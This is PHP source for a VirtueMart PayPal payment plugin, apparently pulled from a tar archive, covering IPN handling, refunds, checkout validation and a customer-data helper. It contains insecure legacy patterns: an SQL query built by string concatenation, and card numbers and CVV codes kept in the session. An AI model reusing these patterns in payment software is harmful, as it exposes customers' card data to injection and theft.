(!($this->_currentMethod = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->_currentMethod->payment_element)) { return FALSE; } $this->getPaymentCurrency($this->_currentMethod); $paymentCurrencyId = $this->_currentMethod->payment_currency; } function plgVmgetEmailCurrency($virtuemart_paymentmethod_id, $virtuemart_order_id, &$emailCurrencyId) { if (!($this->_currentMethod = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->_currentMethod->payment_element)) { return FALSE; } if (!($payments = $this->_getPaypalInternalData($virtuemart_order_id))) { // JError::raiseWarning(500, $db->getErrorMsg()); return ''; } if (empty($payments[0]->email_currency)) { $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO(); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery($q); $emailCurrencyId = $db->loadResult(); } else { $emailCurrencyId = $payments[0]->email_currency; } } function plgVmOnPaymentResponseReceived(&$html) { if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } if (!class_exists('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } VmConfig::loadJLang('com_virtuemart_orders',TRUE); // the payment itself should send the parameter needed. $virtuemart_paymentmethod_id = JRequest::getInt('pm', 0); $expresscheckout = JRequest::getVar('expresscheckout', ''); if ($expresscheckout) { return; } $order_number = JRequest::getString('on', 0); $vendorId = 0; if (!($this->_currentMethod = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->_currentMethod->payment_element)) { return NULL; } if (!($virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber($order_number))) { return NULL; } if (!($payments = $this->getDatasByOrderId($virtuemart_order_id))) { return ''; } $payment_name = $this->renderPluginName($this->_currentMethod); $payment = end($payments); VmConfig::loadJLang('com_virtuemart'); $orderModel = VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); // to do: this if ($payment->paypal_fullresponse) { $paypal_data = json_decode($payment->paypal_fullresponse); $success = ($paypal_data->payment_status == 'Completed' or $paypal_data->payment_status == 'Pending'); } else { $success=false; } $html = $this->renderByLayout($this->_currentMethod->paypalproduct . 'response', array("success" => $success, "payment_name" => $payment_name, "payment" => $paypal_data, "order" => $order)); //We delete the old stuff // get the correct cart / session $cart = VirtueMartCart::getCart(); $cart->emptyCart(); return TRUE; } function plgVmOnUserPaymentCancel() { if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $order_number = JRequest::getString('on', ''); $virtuemart_paymentmethod_id = JRequest::getInt('pm', ''); if (empty($order_number) or empty($virtuemart_paymentmethod_id) or !$this->selectedThisByMethodId($virtuemart_paymentmethod_id)) { return NULL; } if (!($virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber($order_number))) { return NULL; } if (!($paymentTable = $this->getDataByOrderId($virtuemart_order_id))) { return NULL; } VmInfo(Jtext::_('VMPAYMENT_PAYPAL_PAYMENT_CANCELLED')); $session = JFactory::getSession(); $return_context = $session->getId(); if (strcmp($paymentTable->paypal_custom, $return_context) === 0) { $this->handlePaymentUserCancel($virtuemart_order_id); } return TRUE; } function plgVmOnPaymentNotification() { //https://developer.paypal.com/webapps/developer/docs/classic/ipn/integration-guide/IPNandPDTVariables/ if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $paypal_data = JRequest::get('post'); //Recuring payment return rp_invoice_id instead of invoice if (array_key_exists('rp_invoice_id', $paypal_data)) { $paypal_data['invoice'] = $paypal_data['rp_invoice_id']; } if (!isset($paypal_data['invoice'])) { return FALSE; } $order_number = $paypal_data['invoice']; if (!($virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber($paypal_data['invoice']))) { return FALSE; } if (!($payments = $this->getDatasByOrderId($virtuemart_order_id))) { return FALSE; } $this->_currentMethod = $this->getVmPluginMethod($payments[0]->virtuemart_paymentmethod_id); if (!$this->selectedThisElement($this->_currentMethod->payment_element)) { return FALSE; } $orderModel = VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $paypalInterface = $this->_loadPayPalInterface(); $paypalInterface->setOrder($order); $paypalInterface->debugLog($paypal_data, 'PaymentNotification, paypal_data:', 'debug'); $paypalInterface->debugLog($order_number, 'PaymentNotification, order_number:', 'debug'); $paypalInterface->debugLog($payments[0]->virtuemart_paymentmethod_id, 'PaymentNotification, virtuemart_paymentmethod_id:', 'debug'); $order_history = $paypalInterface->processIPN($paypal_data, $payments); if (!$order_history) { return false; } else { $this->_storePaypalInternalData( $paypal_data, $virtuemart_order_id, $payments[0]->virtuemart_paymentmethod_id); $paypalInterface->debugLog('order_number:'.$order_number.' new_status:' . $order_history['order_status'], 'plgVmOnPaymentNotification', 'debug'); $orderModel->updateStatusForOneOrder($virtuemart_order_id, $order_history, TRUE); //// remove vmcart if (isset($paypal_data['custom'])) { $this->emptyCart($this->_currentMethod, $paypal_data['custom'], $order_number); } } } /*********************/ /* Private functions */ /*********************/ private function _loadPayPalInterface() { $this->_currentMethod->paypalproduct = $this->getPaypalProduct($this->_currentMethod); if ($this->_currentMethod->paypalproduct == 'std') { $paypalInterface = new PaypalHelperPayPalStd($this->_currentMethod,$this); } else if ($this->_currentMethod->paypalproduct == 'api') { $paypalInterface = new PaypalHelperPayPalApi( $this->_currentMethod,$this); } else if ($this->_currentMethod->paypalproduct == 'exp') { $paypalInterface = new PaypalHelperPayPalExp($this->_currentMethod, $this); } else if ($this->_currentMethod->paypalproduct == 'hosted') { $paypalInterface = new PaypalHelperPayPalHosted( $this->_currentMethod,$this); } else { Vmerror('Wrong paypal mode'); return NULL; } return $paypalInterface; } private function _storePaypalInternalData( $paypal_data, $virtuemart_order_id, $virtuemart_paymentmethod_id) { $paypalInterface = $this->_loadPayPalInterface(); // get all know columns of the table $db = JFactory::getDBO(); $query = 'SHOW COLUMNS FROM `' . $this->_tablename . '` '; $db->setQuery($query); $columns = $db->loadResultArray(0); $post_msg = ''; /* foreach ($paypal_data as $key => $value) { $post_msg .= $key . "=" . $value . "
"; $table_key = 'paypal_response_' . $key; $table_key=strtolower($table_key); if (in_array($table_key, $columns) ) { $response_fields[$table_key] = $value; } } */ //$response_fields = $paypalInterface->storePaypalInternalData($paypal_data); if (array_key_exists('PAYMENTINFO_0_PAYMENTSTATUS', $paypal_data)) { $response_fields['paypal_response_payment_status'] = $paypal_data['PAYMENTINFO_0_PAYMENTSTATUS']; } else if (array_key_exists('PAYMENTSTATUS', $paypal_data)) { $response_fields['paypal_response_payment_status'] = $paypal_data['PAYMENTSTATUS']; } else if (array_key_exists('PROFILESTATUS', $paypal_data)) { $response_fields['paypal_response_payment_status'] = $paypal_data['PROFILESTATUS']; } else if (array_key_exists('STATUS', $paypal_data)) { $response_fields['paypal_response_payment_status'] = $paypal_data['STATUS']; } if ($paypal_data) { $response_fields['paypal_fullresponse'] = json_encode($paypal_data); } $response_fields['order_number'] = $paypal_data['invoice']; $response_fields['paypal_response_invoice'] = $paypal_data['invoice']; $response_fields['virtuemart_order_id'] = $virtuemart_order_id; $response_fields['virtuemart_paymentmethod_id'] = $virtuemart_paymentmethod_id; if (array_key_exists('custom', $paypal_data)) { $response_fields['paypal_custom'] = $paypal_data['custom']; } //$preload=true preload the data here too preserve not updated data return $this->storePSPluginInternalData($response_fields, $this->_tablepkey, 0); } private function _getPaypalInternalData($virtuemart_order_id, $order_number = '') { $db = JFactory::getDBO(); $q = 'SELECT * FROM `' . $this->_tablename . '` WHERE '; if ($order_number) { $q .= " `order_number` = '" . $order_number . "'"; } else { $q .= ' `virtuemart_order_id` = ' . $virtuemart_order_id; } $db->setQuery($q); if (!($payments = $db->loadObjectList())) { // JError::raiseWarning(500, $db->getErrorMsg()); return ''; } return $payments; } protected function renderPluginName($activeMethod) { $return = ''; $plugin_name = $this->_psType . '_name'; $plugin_desc = $this->_psType . '_desc'; $description = ''; // $params = new JParameter($plugin->$plugin_params); // $logo = $params->get($this->_psType . '_logos'); $logosFieldName = $this->_psType . '_logos'; $logos = $activeMethod->$logosFieldName; if (!empty($logos)) { $return = $this->displayLogos($logos) . ' '; } $pluginName = $return . '' . $activeMethod->$plugin_name . ''; if ($activeMethod->sandbox ) { $pluginName .= ' Sandbox (' . $activeMethod->virtuemart_paymentmethod_id . ')
'; } if (!empty($activeMethod->$plugin_desc)) { $pluginName .= '' . $activeMethod->$plugin_desc . ''; } $pluginName .= $this->displayExtraPluginNameInfo($activeMethod); return $pluginName; } function displayExtraPluginNameInfo($activeMethod) { $this->_currentMethod=$activeMethod; $paypalInterface = $this->_loadPayPalInterface(); $paypalInterface->loadCustomerData(); $extraInfo = $paypalInterface->displayExtraPluginInfo(); return $extraInfo; } /** * Display stored payment data for an order * * @see components/com_virtuemart/helpers/vmPSPlugin::plgVmOnShowOrderBEPayment() */ function plgVmOnShowOrderBEPayment($virtuemart_order_id, $payment_method_id) { if (!$this->selectedThisByMethodId($payment_method_id)) { return NULL; // Another method was selected, do nothing } if (!($this->_currentMethod = $this->getVmPluginMethod($payment_method_id))) { return FALSE; } if (!($payments = $this->_getPaypalInternalData($virtuemart_order_id))) { // JError::raiseWarning(500, $db->getErrorMsg()); return ''; } //$html = $this->renderByLayout('orderbepayment', array($payments, $this->_psType)); $html = '' . "\n"; $html .= $this->getHtmlHeaderBE(); $code = "paypal_response_"; $first = TRUE; foreach ($payments as $payment) { $html .= ''; // Now only the first entry has this data when creating the order if ($first) { $html .= $this->getHtmlRowBE('COM_VIRTUEMART_PAYMENT_NAME', $payment->payment_name); // keep that test to have it backwards compatible. Old version was deleting that column when receiving an IPN notification if ($payment->payment_order_total and $payment->payment_order_total != 0.00) { $html .= $this->getHtmlRowBE('COM_VIRTUEMART_TOTAL', $payment->payment_order_total . " " . shopFunctions::getCurrencyByID($payment->payment_currency, 'currency_code_3')); } $first = FALSE; } else { $paypalInterface = $this->_loadPayPalInterface(); if (isset($payment->paypal_fullresponse) and !empty($payment->paypal_fullresponse)) { $paypal_data = json_decode($payment->paypal_fullresponse); $paypalInterface = $this->_loadPayPalInterface(); $html .= $paypalInterface->onShowOrderBEPayment($paypal_data); $html .= ''; } else { $html .= $paypalInterface->onShowOrderBEPaymentByFields($payment); } } } $html .= '
' . JText::_('VMPAYMENT_PAYPAL_DATE') . '' . $payment->created_on . '
 '; $html .= JText::_('VMPAYMENT_PAYPAL_VIEW_TRANSACTION_LOG'); $html .= ' '; $html .= '
' . "\n"; $doc = JFactory::getDocument(); $js = " jQuery().ready(function($) { $('.PayPalLogOpener').click(function() { var logId = $(this).attr('rel'); $('#PayPalLog_'+logId).toggle(); return false; }); });"; $doc->addScriptDeclaration($js); return $html; } /** * Check if the payment conditions are fulfilled for this payment method * @param VirtueMartCart $cart * @param int $activeMethod * @param array $cart_prices * @return bool */ protected function checkConditions($cart, $activeMethod, $cart_prices) { //Check method publication start if ($activeMethod->publishup) { $nowDate = JFactory::getDate(); $publish_up = JFactory::getDate($activeMethod->publishup); if ($publish_up->toUnix() > $nowDate->toUnix()) { return FALSE; } } if ($activeMethod->publishdown) { $nowDate = JFactory::getDate(); $publish_down = JFactory::getDate($activeMethod->publishdown); if ($publish_down->toUnix() <= $nowDate->toUnix()) { return FALSE; } } $activeMethod->min_amount = (float)$activeMethod->min_amount; $activeMethod->max_amount = (float)$activeMethod->max_amount; $address = (($cart->ST == 0) ? $cart->BT : $cart->ST); $amount = $this->getCartAmount($cart_prices); $amount_cond = ($amount >= $activeMethod->min_amount AND $amount <= $activeMethod->max_amount OR ($activeMethod->min_amount <= $amount AND ($activeMethod->max_amount == 0))); $countries = array(); if (!empty($activeMethod->countries)) { if (!is_array($activeMethod->countries)) { $countries[0] = $activeMethod->countries; } else { $countries = $activeMethod->countries; } } // probably did not gave his BT:ST address if (!is_array($address)) { $address = array(); $address['virtuemart_country_id'] = 0; } if (!isset($address['virtuemart_country_id'])) { $address['virtuemart_country_id'] = 0; } if (in_array($address['virtuemart_country_id'], $countries) || count($countries) == 0) { if ($amount_cond) { return TRUE; } } return FALSE; } /** * @param $jplugin_id * @return bool|mixed */ function plgVmOnStoreInstallPaymentPluginTable($jplugin_id) { if ($jplugin_id != $this->_jid) { return FALSE; } $this->_currentMethod = $this->getPluginMethod(JRequest::getInt('virtuemart_paymentmethod_id')); if ($this->_currentMethod->published) { $sandbox = ""; if ($this->_currentMethod->sandbox ) { $sandbox = 'SANDBOX_'; $sandbox_param = 'sandbox_'; } if ($this->_currentMethod->paypalproduct == 'std') { if ($this->_currentMethod->sandbox ) { $param = 'sandbox_merchant_email'; } else { $param = 'paypal_merchant_email'; } if (empty ($this->_currentMethod->$param)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'MERCHANT'), $this->_currentMethod->payment_name, $this->_currentMethod->virtuemart_paymentmethod_id); vmError($text); } } if ($this->_currentMethod->paypalproduct == 'exp' OR $this->_currentMethod->paypalproduct == 'hosted' OR $this->_currentMethod->paypalproduct == 'api') { $param = $sandbox_param . 'api_login_id'; if (empty ($this->_currentMethod->$param)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'USERNAME'), $this->_currentMethod->payment_name, $this->_currentMethod->virtuemart_paymentmethod_id); vmError($text); } $param = $sandbox_param . 'api_password'; if (empty ($this->_currentMethod->$param)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'PASSWORD'), $this->_currentMethod->payment_name, $this->_currentMethod->virtuemart_paymentmethod_id); vmError($text); } if ($this->_currentMethod->authentication == 'signature') { $param = $sandbox_param . 'api_signature'; if (empty ($this->_currentMethod->$param)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'SIGNATURE'), $this->_currentMethod->payment_name, $this->_currentMethod->virtuemart_paymentmethod_id); vmError($text); } } else { $param = $sandbox_param . 'api_certificate'; if (empty ($this->_currentMethod->$param)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'CERTIFICATE'), $this->_currentMethod->payment_name, $this->_currentMethod->virtuemart_paymentmethod_id); vmError($text); } } } if ($this->_currentMethod->paypalproduct == 'hosted') { $param = $sandbox_param . 'payflow_partner'; if (empty ($this->_currentMethod->$param)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'PAYFLOW_PARTNER'), $this->_currentMethod->payment_name, $this->_currentMethod->virtuemart_paymentmethod_id); vmError($text); } } if ($this->_currentMethod->paypalproduct == 'exp' AND empty ($this->_currentMethod->expected_maxamount)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_EXPECTEDMAXAMOUNT'), $this->_currentMethod->payment_name, $this->_currentMethod->virtuemart_paymentmethod_id); vmError($text); } } return $this->onStoreInstallPluginTable($jplugin_id); } /** * * This event is fired after the payment method has been selected. * It can be used to store additional payment info in the cart. * @param VirtueMartCart $cart * @param $msg * @return bool|null */ public function plgVmOnSelectCheckPayment(VirtueMartCart $cart, &$msg) { if (!$this->selectedThisByMethodId($cart->virtuemart_paymentmethod_id)) { return null; // Another method was selected, do nothing } if (!($this->_currentMethod = $this->getVmPluginMethod($cart->virtuemart_paymentmethod_id))) { return FALSE; } $paypalInterface = $this->_loadPayPalInterface($this->_currentMethod); $paypalInterface->setCart($cart); $paypalInterface->setTotal($cart->pricesUnformatted['billTotal']); $paypalInterface->loadCustomerData(); $paypalInterface->getExtraPluginInfo($this->_currentMethod); if (!$paypalInterface->validate()) { if ($this->_currentMethod->paypalproduct != 'api') { VmInfo('VMPAYMENT_PAYPAL_PAYMENT_NOT_VALID'); } return false; } return true; } /*******************/ /* Order cancelled */ /* May be it is removed in VM 2.1 /*******************/ public function plgVmOnCancelPayment(&$order, $old_order_status) { return NULL; } /** * Order status changed * @param $order * @param $old_order_status * @return bool|null */ public function plgVmOnUpdateOrderPayment(&$order, $old_order_status) { //Load the method if (!($this->_currentMethod = $this->getVmPluginMethod($order->virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } //Load only when updating status to shipped if ($order->order_status != $this->_currentMethod->status_capture AND $order->order_status != $this->_currentMethod->status_refunded) { return null; } //Load the payments if (!($payments = $this->_getPaypalInternalData($order->virtuemart_order_id))) { // JError::raiseWarning(500, $db->getErrorMsg()); return null; } if ($this->_currentMethod->paypalproduct == 'std') { return null; } //$this->_currentMethod->paypalproduct = $this->($this->_currentMethod); $payment = end($payments); if ($this->_currentMethod->payment_action == 'Authorization' and $order->order_status == $this->_currentMethod->status_capture) { $paypalInterface = $this->_loadPayPalInterface(); $paypalInterface->setOrder($order); $paypalInterface->setTotal($order->order_total); $paypalInterface->loadCustomerData(); if ($paypalInterface->DoCapture($payment)) { $paypalInterface->debugLog(JText::_('VMPAYMENT_PAYPAL_API_TRANSACTION_CAPTURED'), 'plgVmOnUpdateOrderShipment', 'message', true); $this->_storePaypalInternalData( $paypalInterface->getResponse(false), $order->virtuemart_order_id, $payment->virtuemart_paymentmethod_id); } } elseif ($order->order_status == $this->_currentMethod->status_refunded OR $order->order_status == $this->_currentMethod->status_canceled) { $paypalInterface = $this->_loadPayPalInterface(); $paypalInterface->setOrder($order); $paypalInterface->setTotal($order->order_total); $paypalInterface->loadCustomerData(); if ($paypalInterface->RefundTransaction($payment)) { if ($this->_currentMethod->payment_type == '_xclick-subscriptions') { $paypalInterface->debugLog(JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_CANCELLED'), 'plgVmOnUpdateOrderPayment Refund', 'message', true); } else { //Mark the order as refunded // $order->order_status = $method->status_refunded; $paypalInterface->debugLog(JText::_('VMPAYMENT_PAYPAL_API_TRANSACTION_REFUNDED'), 'plgVmOnUpdateOrderPayment Refund', 'message', true); } $this->_storePaypalInternalData( $paypalInterface->getResponse(false), $order->virtuemart_order_id, $payment->virtuemart_paymentmethod_id); } } return true; } function plgVmOnUpdateOrderLinePayment(&$order) { // $xx=1; } /*******************/ /* Credit Card API */ /*******************/ public function _displayCVVImages($method) { $cvv_images = $method->cvv_images; $img = ''; if ($cvv_images) { $img = $this->displayLogos($cvv_images); $img = str_replace('"', "'", $img); } return $img; } /** * * List payment methods selection * @param VirtueMartCart $cart * @param int $selected * @param $htmlIn * @return bool */ public function plgVmDisplayListFEPayment(VirtueMartCart $cart, $selected = 0, &$htmlIn) { if ($this->getPluginMethods($cart->vendorId) === 0) { if (empty($this->_name)) { $app = JFactory::getApplication(); $app->enqueueMessage(JText::_('COM_VIRTUEMART_CART_NO_' . strtoupper($this->_psType))); return false; } else { return false; } } $method_name = $this->_psType . '_name'; $htmla = array(); foreach ($this->methods as $this->_currentMethod) { if ($this->checkConditions($cart, $this->_currentMethod, $cart->pricesUnformatted)) { $html = ''; $cart_prices = array(); $cart_prices['withTax'] = ''; $cart_prices['salesPrice'] = ''; $methodSalesPrice = $this->setCartPrices($cart, $cart_prices, $this->_currentMethod); //if ($selected == $method->virtuemart_paymentmethod_id) { // $this->customerData->load(); //} $html .= '
'; $this->_currentMethod->$method_name = $this->renderPluginName($this->_currentMethod); $html .= $this->getPluginHtml($this->_currentMethod, $selected, $methodSalesPrice); if ($this->_currentMethod->paypalproduct == 'api') { if (empty($this->_currentMethod->creditcards)) { $this->_currentMethod->creditcards = PaypalHelperPaypal::getPaypalCreditCards(); } elseif (!is_array($this->_currentMethod->creditcards)) { $this->_currentMethod->creditcards = (array)$this->_currentMethod->creditcards; } $html .= $this->renderByLayout('creditcardform', array('creditcards' => $this->_currentMethod->creditcards, 'virtuemart_paymentmethod_id' => $this->_currentMethod->virtuemart_paymentmethod_id, 'method' => $this->_currentMethod, 'sandbox' => $this->_currentMethod->sandbox, 'customerData' => $this->customerData)); } if ($this->_currentMethod->payment_type == '_xclick-auto-billing' && $this->_currentMethod->billing_max_amount_type == 'cust') { $html .= $this->renderByLayout('billingmax', array("method"=>$this->_currentMethod, "customerData"=>$this->customerData)); } if ($this->_currentMethod->payment_type == '_xclick-subscriptions') { $paypalInterface = $this->_loadPayPalInterface(); $html .= '
' . $paypalInterface->getRecurringProfileDesc() . ''; } if ($this->_currentMethod->payment_type == '_xclick-payment-plan') { $paypalInterface = $this->_loadPayPalInterface(); $html .= '
' . $paypalInterface->getPaymentPlanDesc() . ''; } $htmla[] = $html; } } $htmlIn[] = $htmla; return true; } /** * Validate payment on checkout * @param VirtueMartCart $cart * @return bool|null */ function plgVmOnCheckoutCheckDataPayment(VirtueMartCart $cart) { if (!$this->selectedThisByMethodId($cart->virtuemart_paymentmethod_id)) { return NULL; // Another method was selected, do nothing } if (!($this->_currentMethod = $this->getVmPluginMethod($cart->virtuemart_paymentmethod_id))) { return FALSE; } //If PayPal express, make sure we have a valid token. //If not, redirect to PayPal to get one. $paypalInterface = $this->_loadPayPalInterface(); $paypalInterface->setCart($cart); $cart->getCartPrices(); $paypalInterface->setTotal($cart->pricesUnformatted['billTotal']); // Here we only check for token, but should check for payer id ? $paypalInterface->loadCustomerData(); $paypalInterface->getExtraPluginInfo($this->_currentMethod); if (!$paypalInterface->validate()) { return false; } //Validate amount //if ($totalInPaymentCurrency <= 0) { // vmInfo (JText::_ ('VMPAYMENT_PAYPAL_PAYMENT_AMOUNT_INCORRECT')); // return FALSE; //} } /** * For Express Checkout * @param $type * @param $name * @param $render * @return bool|null */ function plgVmOnSelfCallFE($type, $name, &$render) { if ($name != $this->_name || $type != 'vmpayment') { return FALSE; } $action = jRequest::getWord('action'); $virtuemart_paymentmethod_id = JRequest::getInt('virtuemart_paymentmethod_id'); //Load the method if (!($this->_currentMethod = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if ($action != 'SetExpressCheckout') { return false; } if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = $virtuemart_paymentmethod_id; $cart->setCartIntoSession(); $paypalInterface = $this->_loadPayPalInterface(); $paypalInterface->setCart($cart); $paypalInterface->setTotal($cart->pricesUnformatted['billTotal']); $paypalInterface->loadCustomerData(); $paypalInterface->getExtraPluginInfo($this->_currentMethod); if (!$paypalInterface->validate()) { VmInfo('VMPAYMENT_PAYPAL_PAYMENT_NOT_VALID'); return false; } else { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_virtuemart&view=cart&Itemid=' . JRequest::getInt('Itemid'), false)); } } //Calculate the price (value, tax_id) of the selected method, It is called by the calculator //This function does NOT to be reimplemented. If not reimplemented, then the default values from this function are taken. public function plgVmOnSelectedCalculatePricePayment(VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { return $this->onSelectedCalculatePrice($cart, $cart_prices, $cart_prices_name); } /* backward compatibility */ function getPaypalProduct(){ if (isset($this->_currentMethod->paypalproduct) and !empty($this->_currentMethod->paypalproduct)) { return $this->_currentMethod->paypalproduct; } else { return 'std'; } } // Checks how many plugins are available. If only one, the user will not have the choice. Enter edit_xxx page // The plugin must check first if it is the correct type function plgVmOnCheckAutomaticSelectedPayment(VirtueMartCart $cart, array $cart_prices = array(), &$paymentCounter) { return $this->onCheckAutomaticSelected($cart, $cart_prices, $paymentCounter); } // This method is fired when showing the order details in the frontend. // It displays the method-specific data. public function plgVmOnShowOrderFEPayment($virtuemart_order_id, $virtuemart_paymentmethod_id, &$payment_name) { $this->onShowOrderFE($virtuemart_order_id, $virtuemart_paymentmethod_id, $payment_name); } // This method is fired when showing when priting an Order // It displays the the payment method-specific data. function plgVmonShowOrderPrintPayment($order_number, $method_id) { return $this->onShowOrderPrint($order_number, $method_id); } function plgVmDeclarePluginParamsPayment($name, $id, &$data) { return $this->declarePluginParams('payment', $name, $id, $data); } function plgVmSetOnTablePluginParamsPayment($name, $id, &$table) { return $this->setOnTablePluginParams($name, $id, $table); } } // No closing tag helpers/customerdata.php000066600000014424151374100140011417 0ustar00clear(); $session = JFactory::getSession(); $sessionData = $session->get('paypal', 0, 'vm'); if (!empty($sessionData)) { $data = unserialize($sessionData); $this->_selected_method = $data->selected_method; // card information $this->_cc_type = $data->cc_type; $this->_cc_number = $data->cc_number; $this->_cc_cvv = $data->cc_cvv; $this->_cc_expire_month = $data->cc_expire_month; $this->_cc_expire_year = $data->cc_expire_year; $this->_cc_valid = $data->cc_valid; //Customer settings $this->_autobilling_max_amount = $data->autobilling_max_amount; //PayPal Express $this->_token = $data->token; $this->_payer_id = $data->payer_id; $this->_first_name = $data->first_name; $this->_last_name = $data->last_name; $this->_payer_email = $data->payer_email; // $this->_txn_id = $data->txn_id; // $this->_txn_type = $data->txn_type; // $this->_payment_status = $data->payment_status; // $this->_pending_reason = $data->pending_reason; $this->save(); return $data; } } public function loadPost() { // card information $virtuemart_paymentmethod_id = JRequest::getVar('virtuemart_paymentmethod_id', 0); //if ($virtuemart_paymentmethod_id) { // print_trace(); //$this->clear(); //} $this->_selected_method = $virtuemart_paymentmethod_id; $cctype = JRequest::getVar('cc_type_' . $virtuemart_paymentmethod_id, ''); if ($cctype) { $this->_cc_type = $cctype; } $cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, ''); if ($cc_name) { $this->_cc_name = $cc_name; } $cc_number = JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, ''); if ($cc_number) { $this->_cc_number = $cc_number; } $cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, ''); if ($cc_cvv) { $this->_cc_cvv = $cc_cvv; } $cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, ''); if ($cc_expire_month) { $this->_cc_expire_month = $cc_expire_month; } $cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, ''); if ($cc_expire_year) { $this->_cc_expire_year = $cc_expire_year; } //Customer settings $autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, ''); if ($autobilling_max_amount) { $this->_autobilling_max_amount = $autobilling_max_amount; } // $this->_cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, ''); // $this->_cc_number = str_replace(" ","",JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, '')); // $this->_cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, ''); // $this->_cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, ''); // $this->_cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, ''); // //Customer settings // $this->_autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, ''); $this->save(); } public function save() { $session = JFactory::getSession(); $sessionData = new stdClass(); $sessionData->selected_method = $this->_selected_method; // card information $sessionData->cc_type = $this->_cc_type; $sessionData->cc_number = $this->_cc_number; $sessionData->cc_cvv = $this->_cc_cvv; $sessionData->cc_expire_month = $this->_cc_expire_month; $sessionData->cc_expire_year = $this->_cc_expire_year; $sessionData->cc_valid = $this->_cc_valid; //Customer settings $sessionData->autobilling_max_amount = $this->_autobilling_max_amount; //PayPal Express $sessionData->token = $this->_token; $sessionData->payer_id = $this->_payer_id; $sessionData->first_name = $this->_first_name; $sessionData->last_name = $this->_last_name; $sessionData->payer_email = $this->_payer_email; // $sessionData->txn_id = $this->_txn_id; // $sessionData->txn_type = $this->_txn_type; // $sessionData->payment_status = $this->_payment_status; // $sessionData->pending_reason = $this->_pending_reason; $session->set('paypal', serialize($sessionData), 'vm'); } public function reset() { $this->_selected_method = ''; // card information $this->_cc_type = ''; $this->_cc_number = ''; $this->_cc_cvv = ''; $this->_cc_expire_month = ''; $this->_cc_expire_year = ''; //Customer settings $this->_autobilling_max_amount = ''; //PayPal Express $this->_token = ''; $this->_payer_id = ''; $this->_first_name = ''; $this->_last_name = ''; $this->_payer_email = ''; // $this->_txn_id = ''; // $this->_txn_type = ''; // $this->_payment_status = ''; // $this->_pending_reason = ''; $this->save(); } public function clear() { $session = JFactory::getSession(); $session->clear('paypal', 'vm'); } public function getVar($var) { $this->load(); return $this->{'_' . $var}; } public function setVar($var, $val) { $this->{'_' . $var} = $val; } } helpers/index.html000066600000000000151374100140010171 0ustar00helpers/paypal.php000066600000076676151374100140010233 0ustar00context = $session->getId(); $this->_method = $method; $this->paypalPlugin = $paypalPlugin; //Set the vendor $vendorModel = VmModel::getModel('Vendor'); $vendorModel->setId($this->_method->virtuemart_vendor_id); $vendor = $vendorModel->getVendor(); $vendorModel->addImages($vendor, 1); $this->vendor = $vendor; $this->getPaypalPaymentCurrency(); } function getPaypalPaymentCurrency($getCurrency = FALSE) { vmPSPlugin::getPaymentCurrency($this->_method); $this->currency_code_3 = shopFunctions::getCurrencyByID($this->_method->payment_currency, 'currency_code_3'); } public function getContext() { return $this->context; } public function setCart($cart) { $this->cart = $cart; 